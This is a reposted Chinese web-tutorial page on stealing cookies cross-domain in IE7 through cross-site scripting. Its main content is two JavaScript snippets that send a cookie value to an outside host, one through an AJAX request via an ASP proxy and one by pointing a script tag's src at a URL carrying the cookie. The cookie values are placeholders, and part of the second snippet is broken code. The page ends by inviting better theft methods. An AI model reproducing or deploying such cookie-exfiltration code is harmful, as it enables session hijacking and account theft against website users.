当前位置: 首页 > 图文教程 > 网络编程 > AJAX技术 > ie7下利用ajax跨域盗取cookie的解决办法

AJAX技术
PHP+AJAX教程(8):AJAX RSS阅读器
PHP+AJAX教程(9):AJAX投票
PHP教程:Ajax进行Web开发
关于Ajax技术的注意事项
iframe创建智能表单
JavaScript有趣实例:胸罩罩杯尺寸计算器
提供gif icon制作的几个站点
选择CMS五大误区误区以及CMS点评
总结 PHP xajax应用方法
网页设计中优化代码重要性
Logo设计之有所为有所不为
浅析Ajax为什么优于JSF
Bing API的简单了解
解决AJAX中文回传乱码
VS 2008完美地支持JavaScript和ASP.NET AJAX
概念网站实例:所有网页都在一个网页里
不用组件实现Ajax效果
网页制作ajax特效实例
较好的视觉效果的网页选项卡
Webjx收集jquery实现动画效果的插件和教程

AJAX技术 中的 ie7下利用ajax跨域盗取cookie的解决办法


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-13   浏览: 44 ::
收藏到网摘: n/a

网上的很多文章提到的利用ajax盗取cookie的代码经我测试不可行。 研究了一下午,第一个难题是ajax跨域提交数据,可以用web代理来解决,http://192.168.8.108上的a.htm代码:
<script>
function getXmlHttpRequest(){
if(window.ActiveXObject){
var ieArr=["Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
for(var i=0;i<ieArr.length;i++)
{
var xmlhttp= new ActiveXObject(ieArr[i]);
}
return xmlhttp;
} else if(window.XMLHttpRequest){
return new XMLHttpRequest();
}
}
var xmlHttp=getXmlHttpRequest();
xmlHttp.Open("get","http://192.168.8.108/asp/web.asp?url=http://8888.com/2.asp?cookie=mmm",true);
xmlHttp.send(null)
</script>
其中web.asp是一个asp代理。
这样直接访问http://192.168.8.108/a.htm是可以成功发送数据的。但是在跨站中,假如我们要跨192.168.8.108的站,这样来讲肯定不能让我们放一个web.asp在上边的,所以这种办法不可行。
另外,其它的ie7.0下跨站想盗取cookie一般都会用到iframe标签,在没有研究成功ajax发送的情况下,经过搜索发现了另一种跨站的思路,不需要用iframe来跨域提交,代码:
<script LANGUAGE="Javascript" src="" id="get">
</script>
<script LANGUAGE="Javascript">
<!--
function get(url)
{
var obj = document.getElementById("get");
obj.src = url;
(obj.readStatus == 200)
{
eval(alert("ok"));
}
}
get("http://ruanchen.com/.asp?cookie=12345678")
/*function query()
{
get("http://ruanchen.com/eb/1.img"); //在这里可以写代码,像把alert("ok")里的ok换成变量,1.img 中的代码是var ok="123"
}
//-->
*/
</script>
至于有其它更好的办法,在IE7下能直接ajax跨域盗取cookie的欢迎讨论